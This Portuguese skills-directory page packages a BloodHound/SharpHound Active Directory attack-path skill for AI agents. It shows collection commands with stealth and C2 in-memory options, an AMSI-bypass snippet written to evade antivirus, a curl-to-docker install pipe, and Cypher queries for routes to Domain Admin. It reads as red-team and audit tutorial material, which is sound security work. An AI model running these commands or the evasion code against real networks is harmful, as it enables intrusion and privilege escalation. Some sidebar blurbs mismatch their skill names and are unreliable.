performing-active-directory-bloodhound-analysis
Faz seu agente mapear caminhos de ataque em redes corporativas. Útil para identificar como um invasor pode ganhar mais controle no sistema.
O que ela faz
Esta ferramenta ajuda a encontrar caminhos secretos que um invasor pode usar para ganhar controle total de um sistema de computador chamado Active Directory. Ela visualiza como alguém com acesso limitado pode se tornar um administrador.
Quando usar
- ✓Quando você está testando a segurança de uma rede para encontrar pontos fracos.
- ✓Quando você precisa entender como um ataque pode ter acontecido.
- ✓Quando você quer verificar se as proteções de segurança estão funcionando.
Exemplo do que pedir para a IA
“Encontre caminhos de ataque de um usuário comum até o administrador do domínio.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta coleta informações sobre como os usuários e computadores estão conectados e usa um mapa para mostrar as rotas de acesso. Ela procura por configurações incorretas que podem ser exploradas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-active-directory-bloodhound-analysisOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-active-directory-bloodhound-analysis/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Análise do BloodHound no Active Directory
Visão Geral
BloodHound é uma ferramenta de reconhecimento de código aberto para Active Directory que utiliza a teoria dos grafos para revelar relacionamentos ocultos, caminhos de ataque e oportunidades de escalonamento de privilégios em ambientes de AD. Ao coletar dados com SharpHound (ou AzureHound para Azure AD), o BloodHound visualiza como um atacante pode escalar de um usuário com privilégios baixos para Administrador de Domínio através de cadeias de configurações incorretas, associações de grupos, abusos de ACL e relacionamentos de confiança. O MITRE ATT&CK classifica o BloodHound como software S0521.
Quando Usar
- Ao realizar avaliações de segurança que envolvam a análise do BloodHound no Active Directory.
- Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
- Ao realizar testes de segurança ou atividades de auditoria agendadas.
- Ao validar controles de segurança através de testes práticos.
Pré-requisitos
- Ponto de acesso inicial em um sistema Windows ingressado no domínio (ou credenciais de domínio válidas).
- BloodHound CE (Community Edition) ou BloodHound Legacy 4.x instalado.
- Coletor SharpHound (binário C# ou módulo PowerShell).
- Banco de dados Neo4j (Legacy) ou PostgreSQL (CE).
- Acesso à rede aos controladores de domínio (LDAP TCP/389, LDAPS TCP/636).
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Mapeamento MITRE ATT&CK
| ID da Técnica | Nome | Tática |
|---|---|---|
| T1087.002 | Descoberta de Conta: Conta de Domínio | Descoberta |
| T1069.002 | Descoberta de Grupos de Permissão: Grupos de Domínio | Descoberta |
| T1018 | Descoberta de Sistema Remoto | Descoberta |
| T1482 | Descoberta de Confiança de Domínio | Descoberta |
| T1615 | Descoberta de Política de Grupo | Descoberta |
| T1069.001 | Descoberta de Grupos de Permissão: Grupos Locais | Descoberta |
Etapa 1: Coleta de Dados com SharpHound
SharpHound.exe (Preferível para OPSEC)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
Invoke-BloodHound (PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
AzureHound (Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
Etapa 2: Importar Dados para o BloodHound
BloodHound CE (v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File
BloodHound Legacy
# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)
# Start BloodHound GUI
./BloodHound --no-sandbox
# Drag and drop ZIP file into BloodHound GUI
Etapa 3: Análise de Caminhos de Ataque
Consultas Pré-construídas (Mais Críticas)
-- Encontrar todos os Administradores de Domínio
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- Caminho mais curto de usuário possuído para Administrador de Domínio
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Encontrar usuários Kerberoastable com caminho para DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Encontrar usuários AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
…
Perguntas frequentes
O que é Active Directory?
É um sistema usado por muitas empresas para gerenciar computadores e usuários em sua rede.
O que é um 'caminho de ataque'?
É uma sequência de passos que um invasor pode seguir para ganhar mais acesso e controle em uma rede.
Preciso ser um especialista para usar isso?
Não, mas entender os conceitos básicos de redes e segurança ajuda a interpretar os resultados.
Detalhes
Descrição original do autor
Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory relationships and graph attack paths from a compromised user to Domain Admin. Use when performing AD red-team reconnaissance, mapping privilege-escalation chains from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6008
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC